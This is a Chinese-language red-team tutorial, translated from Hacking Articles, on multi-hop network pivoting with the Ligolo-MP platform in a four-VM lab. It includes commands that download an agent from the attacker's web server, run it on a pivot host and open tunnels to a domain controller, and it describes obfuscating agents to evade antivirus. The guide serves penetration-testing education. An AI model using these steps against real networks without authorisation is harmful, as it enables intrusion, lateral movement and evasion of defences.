红队必备:Ligolo-MP多跳Pivoting实战指南

导语:在现代渗透测试中,拿到一台外网机器往往只是起点——最敏感的目标都在隔离内网里。Ligolo-MP这款多人协作型Pivoting平台,让红队可以轻松穿越多个网段、直捣域控。本文从零讲透它的安装、操作和高级技巧。


一、简介

Ligolo-MP是一个”多人版(Multiplayer)”Pivoting平台,在Ligolo-ng的基础上进化而来,主打协作、自动化和大规模作业。

传统工具是一个代理只能一个人用,Ligolo-MP引入了中央服务器,对外暴露两个接口:一个给Agent(已拿下的主机),一个给Operator(红队成员)。多个操作者可以同时连入同一基础设施,共享隧道和路由。工具自动管理TUN设备,不需要在每台操作者机器上手动配置tun/tap接口。此外还提供SOCKS和HTTP代理能力,支持连接池和TCP并发数的隧道级限制,并带有一个类Unix curses风格的GUI,展示会话、接口、路由和重定向器,大幅简化多跳Pivoting操作。


二、实验环境与网络拓扑

实验环境由四台虚拟机组成,分布在三个VMware虚拟网络(vmnet)上。

网络拓扑图

三、安装Ligolo-MP

在Kali Linux上安装Ligolo-MP:

sudo apt install ligolo-mp

安装完成后,用以下命令启动ligolo-server:

sudo ligolo-mp

按回车以管理员身份登录,拥有admin角色可以对所有会话、路由和重定向器进行完全控制。


四、启动Ligolo-MP代理服务器

按回车进入ligolo-mp界面。

标准ligolo-mp界面由5个区域构成:

Ligolo-MP界面
  • SERVER:显示操作者和Agent监听器详情,确认活动控制及回调端口
  • SESSIONS:列出所有活动的Agent连接,包括状态、中继状态和时间戳
  • INTERFACES:展示可用的网络接口及其关联的IP地址
  • ROUTES:定义通过Agent会话建立的Pivoting路径和网络路由
  • REDIRECTORS:管理源和目标端点之间的流量转发规则
  • LOG:提供实时带时间戳的事件日志

基本控制命令:

  • Ctrl-A:管理员功能
  • Ctrl-N:生成Agent二进制文件
  • Ctrl-T:路由追踪
  • Tab:切换面板焦点
  • Ctrl-Q:退出

五、单层Pivoting:进入第一个内网(192.168.234.0/24)

步骤1 — 生成Agent二进制文件

Ctrl+N生成Agent。

生成Agent配置
  • Save to:生成的Agent二进制文件保存的本地路径
  • Servers:定义Agent回调的地址和端口(填入ligolo-mp运行的服务器地址,这里填Kali的IP)
  • Proxy:是否通过指定代理服务器路由Agent流量(按需填写)
  • Ignore env proxy:绕过系统代理设置,直接连接
  • OS:选择Agent二进制文件的目标操作系统
  • Arch:选择生成的CPU架构(如amd64)
  • Obfuscate:是否对Agent进行基础混淆以实现免杀

填写完毕后点击submit生成Agent二进制文件。

步骤2 — 将Agent传输到第一台Pivot主机(Debian机器)

在Kali机器上启动HTTP服务:

python3 -m http.server 80

通过SSH连接Debian机器,下载Agent并赋予执行权限:

ssh simba@192.168.159.140
wget http://192.168.159.128/reverse
chmod +x reverse
./reverse
Agent传输与执行

可以看到Agent成功回调到ligolo-mp服务器的11601端口,Debian机器(simba)已连接。

步骤3 — 添加路由

进入SESSIONS,选中对应会话后回车,选择”Add Route”。

添加路由配置
  • CIDR:目标网段(CIDR格式),这里填192.168.234.0/24以访问该子网
  • Priority:路由优先级,数值越低优先级越高
  • Loopback:启用后允许攻击者(Kali)通过隧道与Pivot主机本地的127.0.0.1服务交互

步骤4 — 启动中继

在SESSIONS中选中对应会话,选择”Start relay”。

启动中继

路由配置正确且已激活。

步骤5 — 验证连通性

对Win10机器(192.168.234.101)执行ping和nmap:

ping 192.168.234.101
nmap 192.168.234.101

单层Pivoting完成,以simba(Debian)为Pivot,攻击者可以与192.168.234.0/24子网进行交互。


六、双层Pivoting

Win10已可通过隧道访问,接下来目标是在Win10上部署Ligolo-mp Agent,建立第二跳,进入192.168.188.0/24子网(域控制器所在网段)。但Win10无法直接访问Kali的IP(192.168.159.128),因此第二个Agent必须通过现有隧道连接——这里就要用到端口重定向器(Port Redirector)。

Ligolo-MP中的重定向器本质上是一个TCP端口转发规则:让Agent主机上的某个端口监听连接,并将接收到的流量通过隧道转发到指定目标。这里的重定向器在Debian(simba)的vmnet8接口(192.168.234.140)的4444端口监听,把所有流量通过隧道转发到Kali的Ligolo-mp监听端口11601。这样Win10(可以访问Debian的192.168.234.140)就能间接连接到Kali的Ligolo-MP服务器。

步骤1:设置端口重定向器

在SESSIONS中选中simba会话,选择”Add redirector”。

配置端口重定向器
  • From:Pivot机器(Simba)上接收连接的监听地址和端口
  • To:流量转发目标地址和端口,填入ligolo服务器IP和端口
  • Protocol:传输协议(如TCP)

所有4444端口接收的流量都会通过现有的TLS隧道转发到ligolo-mp服务器。

逻辑链路如下:Win10上的Agent编译时填入回调地址192.168.234.140:4444(Debian的vmnet8 IP,端口4444)。Win10运行Agent后,连接到Debian:4444。Debian上的Ligolo-MP重定向器捕获这个连接,通过隧道转发到Kali:11601。Kali上的代理收到新的Agent连接,创建新会话——就像Win10直接连接一样。

步骤2:生成第二层Agent二进制文件

生成Win10的Agent

与之前步骤相同,这次为Win10(WKS-01)生成Agent,Server地址填写Debian机器上的重定向器地址192.168.234.140:4444

完整链路:Win10 → Debian:4444 → 隧道 → Kali:11601 → 新建Agent会话

步骤3:将Agent传输到Win10机器

通过rdesktop连接到Win10:

rdesktop 192.168.234.101 -r disk:share=/home/kali/pivot
RDP连接与文件传输

攻击者获得Win10主机的交互GUI访问权限,并通过现有Pivot隧道向192.168.234.0/24子网传输Ligolo-MP Agent。

登录后访问已挂载的共享文件夹,将Agent文件复制到桌面并执行:

cd Desktop
ls
./agent.exe

Ligolo-MP中出现了第二个会话,Windows 10主机WKS-01与已有的Debian pivot simba并列显示,新会话已连接。

步骤4 — 添加路由(192.168.188.0/24)

与之前Debian(simba)会话的操作完全相同,选中WKS-01会话,打开上下文菜单,选择Add route,指定内网CIDR为192.168.188.0/24

步骤5 — 启动中继

进入Windows 10(WKS-01)会话,选择”Start Relay”。

双层Pivoting完成

至此,攻击者(Kali)获得了三个子网的透明访问权:本地网络(192.168.159.0/24)、通过Debian(simba)隧道的192.168.234.0/24,以及通过Win10(WKS-01)隧道的192.168.188.0/24。域控制器192.168.188.100现在可以直接从Kali使用标准网络工具访问。

步骤6 — 验证连通性

对域控制器(192.168.188.100)执行ping和nmap:

ping 192.168.188.100
nmap 192.168.188.100

七、高级技巧:环回路由访问Pivot主机本地服务

环回路由功能允许攻击者访问绑定到Pivot机器127.0.0.1的本地服务——通过隧道将这些流量转发出来,让攻击者机器(Kali)能够与这些不暴露的内部服务交互。

实验环境

本节以Debian pivot主机(simba)上安装配置的Apache2 Web服务器为例,Apache2只监听环回接口(127.0.0.1),模拟真实场景中通过绑定localhost来加固的内部服务。

步骤1 — 在Debian(simba)上安装Apache2并检查状态

sudo apt install apache2
sudo systemctl status apache2

步骤2 — 将Apache2限制为仅监听localhost

编辑Apache2端口配置文件:

sudo nano /etc/apache2/ports.conf

确保Listen指令指向127.0.0.1:80,将Web服务器限制为仅接受本地连接。

同样编辑/etc/apache2/sites-available/000-default.conf,将VirtualHost指令设置为127.0.0.1:80,使虚拟主机仅在本地可访问。

重启Apache服务:

sudo systemctl restart apache2

步骤3 — 从Kali检查连通性

从Kali无法直接访问Apache服务,浏览器访问http://192.168.234.140无响应。

漏洞利用

按前述步骤配置单层Pivoting,确保连接配置正确。

步骤1 — 添加环回路由

在SESSIONS中选中对应会话,选择”Add route”。

配置环回路由

在CIDR字段输入Pivot机器IP:192.168.234.140/32。/32前缀是必需的——指定单个主机路由而非子网。

Loopback复选框标记为X,表示已启用——这是激活环回行为的关键标志。

当Ligolo-MP处理匹配此路由的数据包时,不再通过Agent的网络接口转发,而是重写目标地址并交付给Agent的环回接口(127.0.0.1)。从Debian上的Apache2角度看,这些连接似乎是本地发起的——满足了127.0.0.1绑定限制。

步骤2 — 验证连通性

Apache服务现在可以从Kali访问了。浏览器打开http://192.168.234.140,Kali上的Firefox显示了Apache2 Debian默认页面。

攻击者可以通过环回功能访问Pivot机器上绑定localhost的内部服务。


八、Agent混淆

最后一个演示的技术是编译时Agent混淆,用于增强Payload免杀能力。在Agent生成时启用Obfuscate选项,Ligolo-MP会在编译前对源码进行转换——修改函数名、变量名和字符串常量,大幅改变二进制签名,同时不影响运行时行为。

这样Agent可以绕过基于特征码的检测机制(如Windows Defender),否则标准Agent二进制文件会被标记并清除,大幅提高在受保护环境中成功部署的概率。


九、总结

Ligolo-MP证明了网络漫游不必复杂。凭借其多人架构、自动路由、环回支持和Agent混淆能力,红队可以最小阻力穿越深度隔离的网络。本指南中最大的推动因素并非软件漏洞,而是架构弱点——差的内网划分、缺失的出口过滤和不受控的横向移动。

对防御者而言,核心结论很简单:边界安全做得再好,内部管控不到位,等于没做


出处:本文译自Hacking Articles,原文地址:https://www.hackingarticles.in/network-pivoting-using-ligolo-mp-complete-guide/

版权声明:本文由华盟网原创发布,保留所有权利。

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容